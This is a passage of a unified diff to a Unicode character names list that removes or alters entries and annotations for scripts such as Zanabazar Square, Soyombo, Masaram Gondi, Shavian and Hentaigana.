mark initial yig mgo mdun ma - 0F04) - x (mongolian birga - 1800) x (sharada sign siddham - 111DB) A8FD DEVANAGARI JAIN OM @@ A900 Kayah Li A92F @@ -25046,7 +24985,6 @@ AB5B MODIFIER BREVE WITH INVERTED BREVE x (breve - 02D8) x (close up - 2050) x (metrical breve - 23D1) - x (inverted low kavyka with kavyka above - 2E46) AB5C MODIFIER LETTER SMALL HENG # A727 AB5D MODIFIER LETTER SMALL L WITH INVERTED LAZY S @@ -25445,9 +25383,6 @@ F92A CJK COMPATIBILITY IDEOGRAPH-F92A F92B CJK COMPATIBILITY IDEOGRAPH-F92B : 72FC F92C CJK COMPATIBILITY IDEOGRAPH-F92C - * a mapping change removed the original K0 source - x (cjk unified ideograph-90DE - 90DE) - x (cjk compatibility ideograph-FA2E - FA2E) : 90CE F92D CJK COMPATIBILITY IDEOGRAPH-F92D : 4F86 @@ -25728,9 +25663,7 @@ F9B6 CJK COMPATIBILITY IDEOGRAPH-F9B6 F9B7 CJK COMPATIBILITY IDEOGRAPH-F9B7 : 91B4 F9B8 CJK COMPATIBILITY IDEOGRAPH-F9B8 - * a mapping change removed the original K0 source x (cjk unified ideograph-96B7 - 96B7) - x (cjk compatibility ideograph-FA2F - FA2F) : 96B8 F9B9 CJK COMPATIBILITY IDEOGRAPH-F9B9 : 60E1 @@ -27704,7 +27637,7 @@ FDFC RIAL SIGN FDFD ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM @@ FE00 Variation Selectors FE0F @ Variation selectors -@+ These are combining characters; in conjunction with the preceding character they indicate a predetermined choice of variant glyph. +@+ Combining characters; in conjunction with the preceding character these indicate a predetermined choice of variant glyph FE00 VARIATION SELECTOR-1 * these are abbreviated VS1, and so on FE01 VARIATION SELECTOR-2 @@ -27720,12 +27653,8 @@ FE0A VARIATION SELECTOR-11 FE0B VARIATION SELECTOR-12 FE0C VARIATION SELECTOR-13 FE0D VARIATION SELECTOR-14 -@ Emoji-specific variation selectors -@+ For documentation about use of these with emoji, see UTS #51, Unicode Emoji. FE0E VARIATION SELECTOR-15 - = text variation selector FE0F VARIATION SELECTOR-16 - = emoji variation selector @@ FE10 Vertical Forms FE1F @+ These characters are compatibility characters needed to map to GB 18030. @ Glyphs for vertical variants @@ -29351,10 +29280,6 @@ FFFF 10321 OLD ITALIC NUMERAL FIVE 10322 OLD ITALIC NUMERAL TEN 10323 OLD ITALIC NUMERAL FIFTY -@ North Italic letters -1032D OLD ITALIC LETTER YE -1032E OLD ITALIC LETTER NORTHERN TSE -1032F OLD ITALIC LETTER SOUTHERN TSE @@ 10330 Gothic 1034F @ Letters 10330 GOTHIC LETTER AHSA @@ -29604,8 +29529,7 @@ FFFF 1044E DESERET SMALL LETTER OI 1044F DESERET SMALL LETTER EW @@ 10450 Shavian 1047F -@ Tall and deep letters (consonants) -@+ Shavian tall letters mostly represent voiceless obstruents, whereas the deep letters represent the voiced counterparts. +@ Consonants 10450 SHAVIAN LETTER PEEP 10451 SHAVIAN LETTER TOT 10452 SHAVIAN LETTER KICK @@ -29615,9 +29539,7 @@ FFFF 10456 SHAVIAN LETTER SURE 10457 SHAVIAN LETTER CHURCH 10458 SHAVIAN LETTER YEA - * voiced palatal approximant 10459 SHAVIAN LETTER HUNG - * voiced velar nasal 1045A SHAVIAN LETTER BIB 1045B SHAVIAN LETTER DEAD 1045C SHAVIAN LETTER GAG @@ -29627,13 +29549,10 @@ FFFF 10460 SHAVIAN LETTER MEASURE 10461 SHAVIAN LETTER JUDGE 10462 SHAVIAN LETTER WOE - * voiced labiovelar approximant 10463 SHAVIAN LETTER HA-HA - * voiceless glottal fricative -@ Short letters -@+ Shavian short letters mostly represent vowels, but also include some nasals and liquids. 10464 SHAVIAN LETTER LOLL 10465 SHAVIAN LETTER MIME +@ Vowels 10466 SHAVIAN LETTER IF 10467 SHAVIAN LETTER EGG 10468 SHAVIAN LETTER ASH @@ -29652,8 +29571,6 @@ FFFF 10475 SHAVIAN LETTER OOZE 10476 SHAVIAN LETTER OIL 10477 SHAVIAN LETTER AWE -@ Ligatures -@+ Shavian ligatures represent r-colored vowels or diphthongs. 10478 SHAVIAN LETTER ARE 10479 SHAVIAN LETTER OR 1047A SHAVIAN LETTER AIR @@ -30685,10 +30602,10 @@ FFFF 1091B PHOENICIAN NUMBER THREE @ Punctuation 1091F PHOENICIAN WORD SEPARATOR - * sometimes shown with a glyph for a short vertical bar x (full stop - 002E) x (middle dot - 00B7) x (word separator middle dot - 2E31) + * sometimes shown with a glyph for a short vertical bar @@ 10920 Lydian 1093F @ Letters 10920 LYDIAN LETTER A @@ -32083,7 +32000,6 @@ FFFF x (myanmar sign virama - 1039) 11134 CHAKMA MAAYYAA * killer - * also used distinctly as a gemination mark which can occur with vowels x (myanmar sign asat - 103A) @ Digits 11136 CHAKMA DIGIT ZERO @@ -33277,232 +33193,6 @@ FFFF 118F2 WARANG CITI NUMBER NINETY @ Sign 118FF WARANG CITI OM -@@ 11A00 Zanabazar Square 11A4F -@+ The common Mongolian name for the script is Zanabazarin Dörböljin Useg. It is also known as Xewtee Dörböljin Bicig or in English as the Horizontal Square Script. -@ Vowel letter -11A00 ZANABAZAR SQUARE LETTER A - * used for representing independent vowels in combination with vowel signs -@ Vowel signs -11A01 ZANABAZAR SQUARE VOWEL SIGN I -11A02 ZANABAZAR SQUARE VOWEL SIGN UE -11A03 ZANABAZAR SQUARE VOWEL SIGN U -11A04 ZANABAZAR SQUARE VOWEL SIGN E -11A05 ZANABAZAR SQUARE VOWEL SIGN OE -11A06 ZANABAZAR SQUARE VOWEL SIGN O -11A07 ZANABAZAR SQUARE VOWEL SIGN AI - * also represents secondary vowel i -11A08 ZANABAZAR SQUARE VOWEL SIGN AU - * also represents secondary vowel u -11A09 ZANABAZAR SQUARE VOWEL SIGN REVERSED I - * used for Sanskrit vocalic sounds -@ Vowel length mark -11A0A ZANABAZAR SQUARE VOWEL LENGTH MARK -@ Consonants -11A0B ZANABAZAR SQUARE LETTER KA -11A0C ZANABAZAR SQUARE LETTER KHA -11A0D ZANABAZAR SQUARE LETTER GA -11A0E ZANABAZAR SQUARE LETTER GHA -11A0F ZANABAZAR SQUARE LETTER NGA -11A10 ZANABAZAR SQUARE LETTER CA -11A11 ZANABAZAR SQUARE LETTER CHA -11A12 ZANABAZAR SQUARE LETTER JA -11A13 ZANABAZAR SQUARE LETTER NYA -11A14 ZANABAZAR SQUARE LETTER TTA -11A15 ZANABAZAR SQUARE LETTER TTHA -11A16 ZANABAZAR SQUARE LETTER DDA -11A17 ZANABAZAR SQUARE LETTER DDHA -11A18 ZANABAZAR SQUARE LETTER NNA -11A19 ZANABAZAR SQUARE LETTER TA -11A1A ZANABAZAR SQUARE LETTER THA -11A1B ZANABAZAR SQUARE LETTER DA -11A1C ZANABAZAR SQUARE LETTER DHA -11A1D ZANABAZAR SQUARE LETTER NA -11A1E ZANABAZAR SQUARE LETTER PA -11A1F ZANABAZAR SQUARE LETTER PHA -11A20 ZANABAZAR SQUARE LETTER BA - * also used instead of non-initial 11A2D in conjuncts -11A21 ZANABAZAR SQUARE LETTER BHA -11A22 ZANABAZAR SQUARE LETTER MA -11A23 ZANABAZAR SQUARE LETTER TSA -11A24 ZANABAZAR SQUARE LETTER TSHA -11A25 ZANABAZAR SQUARE LETTER DZA -11A26 ZANABAZAR SQUARE LETTER DZHA -11A27 ZANABAZAR SQUARE LETTER ZHA -11A28 ZANABAZAR SQUARE LETTER ZA -11A29 ZANABAZAR SQUARE LETTER -A - * Mongolian aang - * Tibetan a-chung - x (tibetan letter -a - 0F60) -11A2A ZANABAZAR SQUARE LETTER YA -11A2B ZANABAZAR SQUARE LETTER RA -11A2C ZANABAZAR SQUARE LETTER LA -11A2D ZANABAZAR SQUARE LETTER VA -11A2E ZANABAZAR SQUARE LETTER SHA -11A2F ZANABAZAR SQUARE LETTER SSA -11A30 ZANABAZAR SQUARE LETTER SA -11A31 ZANABAZAR SQUARE LETTER HA -11A32 ZANABAZAR SQUARE LETTER KSSA -@ Final consonant mark -11A33 ZANABAZAR SQUARE FINAL CONSONANT MARK - * used for marking a syllable-final consonant in Mongolian - * indicates a syllabic boundary in Mongolian -@ Virama -11A34 ZANABAZAR SQUARE SIGN VIRAMA - * indicates a bare consonant in Sanskrit and Tibetan - * not used for conjunct formation - x (tibetan mark halanta - 0F84) -@ Candrabindu and candra ornaments -11A35 ZANABAZAR SQUARE SIGN CANDRABINDU - * indicates nasalization - x (tibetan sign sna ldan - 0F83) - x (mongolian letter ali gali anusvara one - 1880) -11A36 ZANABAZAR SQUARE SIGN CANDRABINDU WITH ORNAMENT - * used primarily with 11A3F -11A37 ZANABAZAR SQUARE SIGN CANDRA WITH ORNAMENT - * used primarily with 11A3F - x (tibetan sign nyi zla naa da - 0F82) -@ Signs for Sanskrit -11A38 ZANABAZAR SQUARE SIGN ANUSVARA - * indicates nasalization - x (tibetan sign rjes su nga ro - 0F7E) -11A39 ZANABAZAR SQUARE SIGN VISARGA - * indicates post-vocalic aspiration - x (tibetan sign rnam bcad - 0F7F) -@ Cluster-initial consonant -11A3A ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA - * initial form of 11A2B in Tibetan conjuncts -@ Cluster-final consonants -11A3B ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA - * final form of 11A2A in Tibetan conjuncts -11A3C ZANABAZAR SQUARE CLUSTER-FINAL LETTER RA - * final form of 11A2B in Tibetan conjuncts -11A3D ZANABAZAR SQUARE CLUSTER-FINAL LETTER LA - * final form of 11A2C in Tibetan conjuncts -11A3E ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA - * final form of 11A2D in Tibetan conjuncts -@ Head marks -11A3F ZANABAZAR SQUARE INITIAL HEAD MARK - x (tibetan mark initial brda rnying yig mgo mdun ma - 0FD3) - x (mongolian birga - 1800) -11A40 ZANABAZAR SQUARE CLOSING HEAD MARK - x (tibetan mark closing brda rnying yig mgo sgab ma - 0FD4) -@ Punctuation -11A41 ZANABAZAR SQUARE MARK TSHEG - x (tibetan mark intersyllabic tsheg - 0F0B) -11A42 ZANABAZAR SQUARE MARK SHAD - x (tibetan mark shad - 0F0D) -11A43 ZANABAZAR SQUARE MARK DOUBLE SHAD - x (tibetan mark nyis shad - 0F0E) -11A44 ZANABAZAR SQUARE MARK LONG TSHEG - x (tibetan mark gter tsheg - 0F14) -@ Head marks -11A45 ZANABAZAR SQUARE INITIAL DOUBLE-LINED HEAD MARK - x (tibetan mark initial yig mgo mdun ma - 0F04) -11A46 ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK - x (tibetan mark closing yig mgo sgab ma - 0F05) -@ Subjoiner -11A47 ZANABAZAR SQUARE SUBJOINER - * used for producing consonant conjuncts -@@ 11A50 Soyombo 11AAF -@ Vowel letter -11A50 SOYOMBO LETTER A - * used for representing independent vowels in combination with vowel signs -@ Vowel signs -11A51 SOYOMBO VOWEL SIGN I -11A52 SOYOMBO VOWEL SIGN UE -11A53 SOYOMBO VOWEL SIGN U -11A54 SOYOMBO VOWEL SIGN E -11A55 SOYOMBO VOWEL SIGN O -11A56 SOYOMBO VOWEL SIGN OE -11A57 SOYOMBO VOWEL SIGN AI -11A58 SOYOMBO VOWEL SIGN AU -11A59 SOYOMBO VOWEL SIGN VOCALIC R -11A5A SOYOMBO VOWEL SIGN VOCALIC L -@ Vowel length mark -11A5B SOYOMBO VOWEL LENGTH MARK -@ Consonants -11A5C SOYOMBO LETTER KA -11A5D SOYOMBO LETTER KHA -11A5E SOYOMBO LETTER GA -11A5F SOYOMBO LETTER GHA -11A60 SOYOMBO LETTER NGA -11A61 SOYOMBO LETTER CA -11A62 SOYOMBO LETTER CHA -11A63 SOYOMBO LETTER JA -11A64 SOYOMBO LETTER JHA -11A65 SOYOMBO LETTER NYA -11A66 SOYOMBO LETTER TTA -11A67 SOYOMBO LETTER TTHA -11A68 SOYOMBO LETTER DDA -11A69 SOYOMBO LETTER DDHA -11A6A SOYOMBO LETTER NNA -11A6B SOYOMBO LETTER TA -11A6C SOYOMBO LETTER THA -11A6D SOYOMBO LETTER DA -11A6E SOYOMBO LETTER DHA -11A6F SOYOMBO LETTER NA -11A70 SOYOMBO LETTER PA -11A71 SOYOMBO LETTER PHA -11A72 SOYOMBO LETTER BA -11A73 SOYOMBO LETTER BHA -11A74 SOYOMBO LETTER MA -11A75 SOYOMBO LETTER TSA -11A76 SOYOMBO LETTER TSHA -11A77 SOYOMBO LETTER DZA -11A78 SOYOMBO LETTER ZHA -11A79 SOYOMBO LETTER ZA -11A7A SOYOMBO LETTER -A -11A7B SOYOMBO LETTER YA -11A7C SOYOMBO LETTER RA -11A7D SOYOMBO LETTER LA -11A7E SOYOMBO LETTER VA -11A7F SOYOMBO LETTER SHA -11A80 SOYOMBO LETTER SSA -11A81 SOYOMBO LETTER SA -11A82 SOYOMBO LETTER HA -11A83 SOYOMBO LETTER KSSA -@ Cluster-initial letters -11A86 SOYOMBO CLUSTER-INITIAL LETTER RA -11A87 SOYOMBO CLUSTER-INITIAL LETTER LA -11A88 SOYOMBO CLUSTER-INITIAL LETTER SHA -11A89 SOYOMBO CLUSTER-INITIAL LETTER SA -@ Final consonant signs -11A8A SOYOMBO FINAL CONSONANT SIGN G -11A8B SOYOMBO FINAL CONSONANT SIGN K -11A8C SOYOMBO FINAL CONSONANT SIGN NG -11A8D SOYOMBO FINAL CONSONANT SIGN D -11A8E SOYOMBO FINAL CONSONANT SIGN N -11A8F SOYOMBO FINAL CONSONANT SIGN B -11A90 SOYOMBO FINAL CONSONANT SIGN M -11A91 SOYOMBO FINAL CONSONANT SIGN R -11A92 SOYOMBO FINAL CONSONANT SIGN L -11A93 SOYOMBO FINAL CONSONANT SIGN SH -11A94 SOYOMBO FINAL CONSONANT SIGN S -11A95 SOYOMBO FINAL CONSONANT SIGN -A - * Mongolian aang - * Tibetan a-chung - x (tibetan letter -a - 0F60) -@ Various signs -11A96 SOYOMBO SIGN ANUSVARA -11A97 SOYOMBO SIGN VISARGA -@ Gemination mark -11A98 SOYOMBO GEMINATION MARK -@ Subjoiner -11A99 SOYOMBO SUBJOINER - * used for producing consonant conjuncts -@ Punctuation -11A9A SOYOMBO MARK TSHEG -11A9B SOYOMBO MARK SHAD -11A9C SOYOMBO MARK DOUBLE SHAD -@ Head marks -11A9E SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME - * national symbol of Mongolia -11A9F SOYOMBO HEAD MARK WITH MOON AND SUN AND FLAME -11AA0 SOYOMBO HEAD MARK WITH MOON AND SUN -@ Terminal marks -11AA1 SOYOMBO TERMINAL MARK-1 -11AA2 SOYOMBO TERMINAL MARK-2 - = cintamani, candamani @@ 11AC0 Pau Cin Hau 11AFF @ Consonants 11AC0 PAU CIN HAU LETTER PA @@ -33746,95 +33436,6 @@ FFFF @ Various signs 11CB5 MARCHEN SIGN ANUSVARA 11CB6 MARCHEN SIGN CANDRABINDU -@@ 11D00 Masaram Gondi 11D5F -@ Vowels -11D00 MASARAM GONDI LETTER A -11D01 MASARAM GONDI LETTER AA -11D02 MASARAM GONDI LETTER I -11D03 MASARAM GONDI LETTER II -11D04 MASARAM GONDI LETTER U -11D05 MASARAM GONDI LETTER UU -11D06 MASARAM GONDI LETTER E -11D08 MASARAM GONDI LETTER AI -11D09 MASARAM GONDI LETTER O -11D0B MASARAM GONDI LETTER AU -@ Consonants -11D0C MASARAM GONDI LETTER KA -11D0D MASARAM GONDI LETTER KHA -11D0E MASARAM GONDI LETTER GA -11D0F MASARAM GONDI LETTER GHA -11D10 MASARAM GONDI LETTER NGA -11D11 MASARAM GONDI LETTER CA -11D12 MASARAM GONDI LETTER CHA -11D13 MASARAM GONDI LETTER JA -11D14 MASARAM GONDI LETTER JHA -11D15 MASARAM GONDI LETTER NYA -11D16 MASARAM GONDI LETTER TTA -11D17 MASARAM GONDI LETTER TTHA -11D18 MASARAM GONDI LETTER DDA -11D19 MASARAM GONDI LETTER DDHA -11D1A MASARAM GONDI LETTER NNA -11D1B MASARAM GONDI LETTER TA -11D1C MASARAM GONDI LETTER THA -11D1D MASARAM GONDI LETTER DA -11D1E MASARAM GONDI LETTER DHA -11D1F MASARAM GONDI LETTER NA -11D20 MASARAM GONDI LETTER PA -11D21 MASARAM GONDI LETTER PHA -11D22 MASARAM GONDI LETTER BA -11D23 MASARAM GONDI LETTER BHA -11D24 MASARAM GONDI LETTER MA -11D25 MASARAM GONDI LETTER YA -11D26 MASARAM GONDI LETTER RA -11D27 MASARAM GONDI LETTER LA -11D28 MASARAM GONDI LETTER VA -11D29 MASARAM GONDI LETTER SHA -11D2A MASARAM GONDI LETTER SSA -11D2B MASARAM GONDI LETTER SA -11D2C MASARAM GONDI LETTER HA -11D2D MASARAM GONDI LETTER LLA -@ Conjunct letters -11D2E MASARAM GONDI LETTER KSSA -11D2F MASARAM GONDI LETTER JNYA -11D30 MASARAM GONDI LETTER TRA -@ Dependent vowel signs -11D31 MASARAM GONDI VOWEL SIGN AA -11D32 MASARAM GONDI VOWEL SIGN I -11D33 MASARAM GONDI VOWEL SIGN II -11D34 MASARAM GONDI VOWEL SIGN U -11D35 MASARAM GONDI VOWEL SIGN UU -11D36 MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A MASARAM GONDI VOWEL SIGN E -11D3C MASARAM GONDI VOWEL SIGN AI -11D3D MASARAM GONDI VOWEL SIGN O -11D3F MASARAM GONDI VOWEL SIGN AU -@ Various signs -11D40 MASARAM GONDI SIGN ANUSVARA -11D41 MASARAM GONDI SIGN VISARGA -11D42 MASARAM GONDI SIGN NUKTA -11D43 MASARAM GONDI SIGN CANDRA - * used for transcribing foreign vowels -11D44 MASARAM GONDI SIGN HALANTA - * used for silencing the inherent vowel -@ Virama -11D45 MASARAM GONDI VIRAMA - * used for producing conjuncts -@ Cluster-specific consonant forms -11D46 MASARAM GONDI REPHA - * cluster-initial form of 11D26 -11D47 MASARAM GONDI RA-KARA - * cluster-final form of 11D26 -@ Digits -11D50 MASARAM GONDI DIGIT ZERO -11D51 MASARAM GONDI DIGIT ONE -11D52 MASARAM GONDI DIGIT TWO -11D53 MASARAM GONDI DIGIT THREE -11D54 MASARAM GONDI DIGIT FOUR -11D55 MASARAM GONDI DIGIT FIVE -11D56 MASARAM GONDI DIGIT SIX -11D57 MASARAM GONDI DIGIT SEVEN -11D58 MASARAM GONDI DIGIT EIGHT -11D59 MASARAM GONDI DIGIT NINE @@ 12000 Cuneiform 123FF @ Signs 12000 CUNEIFORM SIGN A @@ -38478,8 +38079,6 @@ FFFF @ Tangut mark 16FE0 TANGUT ITERATION MARK x (ideographic iteration mark - 3005) -@ Nushu mark -16FE1 NUSHU ITERATION MARK @@ 17000 Tangut 187EC @@ 18800 Tangut Components 18AFF @+ This is a superset of components used in various Tangut sources. Indexes of components (001..755) used for Tangut ideographs are shown in the Tangut block. @@ -39250,1030 +38849,13 @@ FFFF 18AEF TANGUT COMPONENT-752 18AF0 TANGUT COMPONENT-753 18AF1 TANGUT COMPONENT-754 -@ Sixteen-stroke component +@ Sixteen-stroke components 18AF2 TANGUT COMPONENT-755 @@ 1B000 Kana Supplement 1B0FF @ Historic Katakana 1B000 KATAKANA LETTER ARCHAIC E -@ Historic Hiragana and Hentaigana +@ Historic Hiragana 1B001 HIRAGANA LETTER ARCHAIC YE - % HENTAIGANA LETTER E-1 - * derived from 6C5F -@ Hentaigana -1B002 HENTAIGANA LETTER A-1 - * derived from 5B89 -1B003 HENTAIGANA LETTER A-2 - * derived from 611B -1B004 HENTAIGANA LETTER A-3 - * derived from 963F -1B005 HENTAIGANA LETTER A-WO - * derived from 60E1 -1B006 HENTAIGANA LETTER I-1 - * derived from 4EE5 -1B007 HENTAIGANA LETTER I-2 - * derived from 4F0A -1B008 HENTAIGANA LETTER I-3 - * derived from 610F -1B009 HENTAIGANA LETTER I-4 - * derived from 79FB -1B00A HENTAIGANA LETTER U-1 - * derived from 5B87 -1B00B HENTAIGANA LETTER U-2 - * derived from 5B87 -1B00C HENTAIGANA LETTER U-3 - * derived from 6182 -1B00D HENTAIGANA LETTER U-4 - * derived from 6709 -1B00E HENTAIGANA LETTER U-5 - * derived from 96F2 -1B00F HENTAIGANA LETTER E-2 - * derived from 76C8 -1B010 HENTAIGANA LETTER E-3 - * derived from 7E01 -1B011 HENTAIGANA LETTER E-4 - * derived from 8863 -1B012 HENTAIGANA LETTER E-5 - * derived from 8863 -1B013 HENTAIGANA LETTER E-6 - * derived from 8981 -1B014 HENTAIGANA LETTER O-1 - * derived from 65BC -1B015 HENTAIGANA LETTER O-2 - * derived from 65BC -1B016 HENTAIGANA LETTER O-3 - * derived from 96B1 -1B017 HENTAIGANA LETTER KA-1 - * derived from 4F73 -1B018 HENTAIGANA LETTER KA-2 - * derived from 52A0 -1B019 HENTAIGANA LETTER KA-3 - * derived from 53EF -1B01A HENTAIGANA LETTER KA-4 - * derived from 53EF -1B01B HENTAIGANA LETTER KA-5 - * derived from 5609 -1B01C HENTAIGANA LETTER KA-6 - * derived from 6211 -1B01D HENTAIGANA LETTER KA-7 - * derived from 6B5F -1B01E HENTAIGANA LETTER KA-8 - * derived from 8CC0 -1B01F HENTAIGANA LETTER KA-9 - * derived from 9591 -1B020 HENTAIGANA LETTER KA-10 - * derived from 9999 -1B021 HENTAIGANA LETTER KA-11 - * derived from 99D5 -1B022 HENTAIGANA LETTER KA-KE - * derived from 5BB6 -1B023 HENTAIGANA LETTER KI-1 - * derived from 559C -1B024 HENTAIGANA LETTER KI-2 - * derived from 5E7E -1B025 HENTAIGANA LETTER KI-3 - * derived from 5E7E -1B026 HENTAIGANA LETTER KI-4 - * derived from 652F -1B027 HENTAIGANA LETTER KI-5 - * derived from 6728 -1B028 HENTAIGANA LETTER KI-6 - * derived from 7948 -1B029 HENTAIGANA LETTER KI-7 - * derived from 8CB4 -1B02A HENTAIGANA LETTER KI-8 - * derived from 8D77 -1B02B HENTAIGANA LETTER KU-1 - * derived from 4E45 -1B02C HENTAIGANA LETTER KU-2 - * derived from 4E45 -1B02D HENTAIGANA LETTER KU-3 - * derived from 4E5D -1B02E HENTAIGANA LETTER KU-4 - * derived from 4F9B -1B02F HENTAIGANA LETTER KU-5 - * derived from 5036 -1B030 HENTAIGANA LETTER KU-6 - * derived from 5177 -1B031 HENTAIGANA LETTER KU-7 - * derived from 6C42 -1B032 HENTAIGANA LETTER KE-1 - * derived from 4ECB -1B033 HENTAIGANA LETTER KE-2 - * derived from 4ECB -1B034 HENTAIGANA LETTER KE-3 - * derived from 5E0C -1B035 HENTAIGANA LETTER KE-4 - * derived from 6C23 -1B036 HENTAIGANA LETTER KE-5 - * derived from 8A08 -1B037 HENTAIGANA LETTER KE-6 - * derived from 9063 -1B038 HENTAIGANA LETTER KO-1 - * derived from 53E4 -1B039 HENTAIGANA LETTER KO-2 - * derived from 6545 -1B03A HENTAIGANA LETTER KO-3 - * derived from 8A31 -1B03B HENTAIGANA LETTER KO-KI - * derived from 671F -1B03C HENTAIGANA LETTER SA-1 - * derived from 4E4D -1B03D HENTAIGANA LETTER SA-2 - * derived from 4F50 -1B03E HENTAIGANA LETTER SA-3 - * derived from 4F50 -1B03F HENTAIGANA LETTER SA-4 - * derived from 5DE6 -1B040 HENTAIGANA LETTER SA-5 - * derived from 5DEE -1B041 HENTAIGANA LETTER SA-6 - * derived from 6563 -1B042 HENTAIGANA LETTER SA-7 - * derived from 659C -1B043 HENTAIGANA LETTER SA-8 - * derived from 6C99 -1B044 HENTAIGANA LETTER SI-1 - * derived from 4E4B -1B045 HENTAIGANA LETTER SI-2 - * derived from 4E4B -1B046 HENTAIGANA LETTER SI-3 - * derived from 4E8B -1B047 HENTAIGANA LETTER SI-4 - * derived from 56DB -1B048 HENTAIGANA LETTER SI-5 - * derived from 5FD7 -1B049 HENTAIGANA LETTER SI-6 - * derived from 65B0 -1B04A HENTAIGANA LETTER SU-1 - * derived from 53D7 -1B04B HENTAIGANA LETTER SU-2 - * derived from 58FD -1B04C HENTAIGANA LETTER SU-3 - * derived from 6578 -1B04D HENTAIGANA LETTER SU-4 - * derived from 6578 -1B04E HENTAIGANA LETTER SU-5 - * derived from 6625 -1B04F HENTAIGANA LETTER SU-6 - * derived from 6625 -1B050 HENTAIGANA LETTER SU-7 - * derived from 9808 -1B051 HENTAIGANA LETTER SU-8 - * derived from 9808 -1B052 HENTAIGANA LETTER SE-1 - * derived from 4E16 -1B053 HENTAIGANA LETTER SE-2 - * derived from 4E16 -1B054 HENTAIGANA LETTER SE-3 - * derived from 4E16 -1B055 HENTAIGANA LETTER SE-4 - * derived from 52E2 -1B056 HENTAIGANA LETTER SE-5 - * derived from 8072 -1B057 HENTAIGANA LETTER SO-1 - * derived from 6240 -1B058 HENTAIGANA LETTER SO-2 - * derived from 6240 -1B059 HENTAIGANA LETTER SO-3 - * derived from 66FE -1B05A HENTAIGANA LETTER SO-4 - * derived from 66FE -1B05B HENTAIGANA LETTER SO-5 - * derived from 695A -1B05C HENTAIGANA LETTER SO-6 - * derived from 8607 -1B05D HENTAIGANA LETTER SO-7 - * derived from 8655 -1B05E HENTAIGANA LETTER TA-1 - * derived from 5802 -1B05F HENTAIGANA LETTER TA-2 - * derived from 591A -1B060 HENTAIGANA LETTER TA-3 - * derived from 591A -1B061 HENTAIGANA LETTER TA-4 - * derived from 7576 -1B062 HENTAIGANA LETTER TI-1 - * derived from 5343 -1B063 HENTAIGANA LETTER TI-2 - * derived from 5730 -1B064 HENTAIGANA LETTER TI-3 - * derived from 667A -1B065 HENTAIGANA LETTER TI-4 - * derived from 77E5 -1B066 HENTAIGANA LETTER TI-5 - * derived from 77E5 -1B067 HENTAIGANA LETTER TI-6 - * derived from 81F4 -1B068 HENTAIGANA LETTER TI-7 - * derived from 9072 -1B069 HENTAIGANA LETTER TU-1 - * derived from 5DDD -1B06A HENTAIGANA LETTER TU-2 - * derived from 5DDD -1B06B HENTAIGANA LETTER TU-3 - * derived from 6D25 -1B06C HENTAIGANA LETTER TU-4 - * derived from 90FD -1B06D HENTAIGANA LETTER TU-TO - * derived from 5F92 -1B06E HENTAIGANA LETTER TE-1 - * derived from 4EAD -1B06F HENTAIGANA LETTER TE-2 - * derived from 4F4E -1B070 HENTAIGANA LETTER TE-3 - * derived from 50B3 -1B071 HENTAIGANA LETTER TE-4 - * derived from 5929 -1B072 HENTAIGANA LETTER TE-5 - * derived from 5929 -1B073 HENTAIGANA LETTER TE-6 - * derived from 5929 -1B074 HENTAIGANA LETTER TE-7 - * derived from 5E1D -1B075 HENTAIGANA LETTER TE-8 - * derived from 5F16 -1B076 HENTAIGANA LETTER TE-9 - * derived from 8F49 -1B077 HENTAIGANA LETTER TO-1 - * derived from 571F -1B078 HENTAIGANA LETTER TO-2 - * derived from 5EA6 -1B079 HENTAIGANA LETTER TO-3 - * derived from 6771 -1B07A HENTAIGANA LETTER TO-4 - * derived from 767B -1B07B HENTAIGANA LETTER TO-5 - * derived from 767B -1B07C HENTAIGANA LETTER TO-6 - * derived from 7825 -1B07D HENTAIGANA LETTER TO-RA - * derived from 7B49 -1B07E HENTAIGANA LETTER NA-1 - * derived from 5357 -1B07F HENTAIGANA LETTER NA-2 - * derived from 540D -1B080 HENTAIGANA LETTER NA-3 - * derived from 5948 -1B081 HENTAIGANA LETTER NA-4 - * derived from 5948 -1B082 HENTAIGANA LETTER NA-5 - * derived from 5948 -1B083 HENTAIGANA LETTER NA-6 - * derived from 83DC -1B084 HENTAIGANA LETTER NA-7 - * derived from 90A3 -1B085 HENTAIGANA LETTER NA-8 - * derived from 90A3 -1B086 HENTAIGANA LETTER NA-9 - * derived from 96E3 -1B087 HENTAIGANA LETTER NI-1 - * derived from 4E39 -1B088 HENTAIGANA LETTER NI-2 - * derived from 4E8C -1B089 HENTAIGANA LETTER NI-3 - * derived from 4EC1 -1B08A HENTAIGANA LETTER NI-4 - * derived from 5152 -1B08B HENTAIGANA LETTER NI-5 - * derived from 723E -1B08C HENTAIGANA LETTER NI-6 - * derived from 723E -1B08D HENTAIGANA LETTER NI-7 - * derived from 8033 -1B08E HENTAIGANA LETTER NI-TE - * derived from 800C -1B08F HENTAIGANA LETTER NU-1 - * derived from 52AA -1B090 HENTAIGANA LETTER NU-2 - * derived from 5974 -1B091 HENTAIGANA LETTER NU-3 - * derived from 6012 -1B092 HENTAIGANA LETTER NE-1 - * derived from 5E74 -1B093 HENTAIGANA LETTER NE-2 - * derived from 5E74 -1B094 HENTAIGANA LETTER NE-3 - * derived from 5E74 -1B095 HENTAIGANA LETTER NE-4 - * derived from 6839 -1B096 HENTAIGANA LETTER NE-5 - * derived from 71B1 -1B097 HENTAIGANA LETTER NE-6 - * derived from 79B0 -1B098 HENTAIGANA LETTER NE-KO - * derived from 5B50 -1B099 HENTAIGANA LETTER NO-1 - * derived from 4E43 -1B09A HENTAIGANA LETTER NO-2 - * derived from 6FC3 -1B09B HENTAIGANA LETTER NO-3 - * derived from 80FD -1B09C HENTAIGANA LETTER NO-4 - * derived from 80FD -1B09D HENTAIGANA LETTER NO-5 - * derived from 8FB2 -1B09E HENTAIGANA LETTER HA-1 - * derived from 516B -1B09F HENTAIGANA LETTER HA-2 - * derived from 534A -1B0A0 HENTAIGANA LETTER HA-3 - * derived from 5A46 -1B0A1 HENTAIGANA LETTER HA-4 - * derived from 6CE2 -1B0A2 HENTAIGANA LETTER HA-5 - * derived from 76E4 -1B0A3 HENTAIGANA LETTER HA-6 - * derived from 76E4 -1B0A4 HENTAIGANA LETTER HA-7 - * derived from 7834 -1B0A5 HENTAIGANA LETTER HA-8 - * derived from 8005 -1B0A6 HENTAIGANA LETTER HA-9 - * derived from 8005 